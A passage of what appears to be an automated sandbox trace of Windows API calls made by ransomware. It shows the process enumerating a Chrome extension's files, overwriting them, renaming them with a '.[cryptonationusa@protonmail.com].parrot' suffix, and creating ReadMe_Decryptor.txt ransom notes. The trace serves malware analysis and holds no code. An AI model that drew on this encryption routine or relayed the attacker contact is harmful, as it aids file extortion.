1 [0071.124] CloseHandle (hObject=0x27c) returned 1 [0071.124] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.124] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0248 [0071.124] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.125] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0071.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e640 | out: hHeap=0x5b0000) returned 1 [0071.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0071.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0071.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0071.130] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0071.137] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.137] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.143] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.143] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.143] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1 [0071.143] lstrcmpW (lpString1="af", lpString2=".") returned 1 [0071.143] lstrcmpW (lpString1="af", lpString2="..") returned 1 [0071.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x69a868 [0071.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x692410 [0071.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0071.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x69a650 [0071.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x69a778 [0071.143] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.146] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.146] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.147] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.147] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.147] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0071.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.148] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19c, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.148] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.148] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.149] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.149] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x84, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x84, lpOverlapped=0x0) returned 1 [0071.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0071.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.149] GetLastError () returned 0x0 [0071.150] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a8) returned 0x5d0188 [0071.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.150] WriteFile (in: hFile=0x1fc, lpBuffer=0x5d0188*, nNumberOfBytesToWrite=0x1a8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0188*, lpNumberOfBytesWritten=0x18da44*=0x1a8, lpOverlapped=0x0) returned 1 [0071.151] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0071.151] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.151] CloseHandle (hObject=0x1fc) returned 1 [0071.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0188 [0071.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.152] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0071.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e7c8 | out: hHeap=0x5b0000) returned 1 [0071.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x69a990 [0071.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x69aab8 [0071.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0071.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0071.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0071.154] GetFileType (hFile=0x1fc) returned 0x1 [0071.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0071.165] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.165] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7e58fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7e58fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.165] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7e32e40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0071.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0071.165] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.165] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.165] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.165] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.165] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.165] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0071.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.166] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21b, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.166] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.166] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.167] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.167] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x103, lpOverlapped=0x0) returned 1 [0071.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0071.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.167] GetLastError () returned 0x0 [0071.167] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03a0 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0071.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0071.168] WriteFile (in: hFile=0x1fc, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0071.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0071.169] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.169] CloseHandle (hObject=0x1fc) returned 1 [0071.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d03a0 [0071.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.170] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0071.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e950 | out: hHeap=0x5b0000) returned 1 [0071.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0071.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x69a990 [0071.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x69aab8 [0071.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0071.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0071.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 